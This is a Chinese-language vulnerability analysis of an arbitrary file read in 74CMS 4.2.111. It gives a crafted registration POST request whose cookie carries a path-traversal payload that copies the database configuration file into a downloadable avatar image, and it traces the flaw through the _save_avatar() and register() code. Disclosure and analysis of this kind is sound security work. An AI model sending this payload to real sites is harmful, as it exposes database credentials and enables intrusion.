某CMS 任意文件读取漏洞分析
0x01 漏洞概述
74CMS是一套专业的人才招聘系统,复现此漏洞的版本号为:4.2.111。下载地址是:http://www.74cms.com/download/index.html
0x02 漏洞复现
发送一个构造好的POST请求:
url: http://74cms.test/index.php?m=Home&c=Members&a=register post: reg_type=2&utype=2&org=bind&ucenter=bind cookie: members_bind_info[temp_avatar]=../../../../Application/Common/Conf/db.php;members_bind_info[type]=qq;members_uc_info[password]=123456;members_uc_info[uid]=1;members_uc_info[username]=tttttt; headers: Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest
然后访问此 http://127.0.0.1/74cms/data/upload/avatar/1906/09/98aabd8705b4ce1dc1b33f814a127e05.jpg 并下载这张图片(图片的文件名可以用工具**,下面会讲)。把后缀 .jpg 改成 .php 再打开就是 /Application/Common/Conf/db.php的内容。
0x03 漏洞分析
漏洞点在:\74cms\Application\Home\Controller\MembersController.class.php 的 _save_avatar()函数。
<?php ...... protected function _save_avatar($avatar,$uid){ if(!$avatar) return false; $path = C('qscms_attach_path').'avatar/temp/'.$avatar; $image = new \Common\ORG\ThinkImage(); $date = date('ym/d/'); $save_avatar=C('qscms_attach_path').'avatar/'.$date;//图片存储路径 if(!is_dir($save_avatar)) mkdir($save_avatar,0777,true); $savePicName = md5($uid.time()).".jpg"; $filename = $save_avatar.$savePicName; $size = explode(',',C('qscms_avatar_size')); copy($path, $filename); foreach ($size as $val) { $image->open($path)->thumb($val,$val,3)->save("{$filename}._{$val}x{$val}.jpg"); } M('Members')->where(array('uid'=>$uid))->setfield('avatars',$date.$savePicName); @unlink($path); }
可以看到 _save_avatar() 函数首先获取要读取文件的路径,再生成图片存储路径 $save_avatar 和 文件名 $filename。然后用copy()函数把读取的文件内容复制给 $filename。其中$avatar 和 $filename 都是可以控制的变量。
上面说到,访问图片需要文件名。从中可以看到变量$savePicName 可以控制,写个脚本**即可得到。
我们跟踪一下调用此函数的 register() 函数,路径在:\74cms\Application\Home\Controller\MembersController.class.php
仔细分析此段代码,要顺利地调用 _save_avatar(),X-Requested-With: XMLHttpRequest,绕过AJAX判断。在229行,post参数reg_type应为2,注册方式为邮箱。不然注册方式为手机时,会进行手机验证码。在232行,post参数utype 的值1和2都可以。
在250行,当post的参数ucenter为bind时,通过cookie获取数组$uc_user,接着会进行数组合并,其中$data是可控的。
继续往下分析,到漏洞触发点 311行:
这里首先会把对象转为数组,最后执行 _save_avatar()函数,其中 cookie('members_bind_info') 和$data 都是可控的,把要读取的文件复制到指定文件中。cookie的exp为:
members_bind_info[temp_avatar]=../../../../Application/Common/Conf/db.php;members_bind_info[type]=qq;members_uc_info[password]=123456;members_uc_info[uid]=1;members_uc_info[username]=tttttt;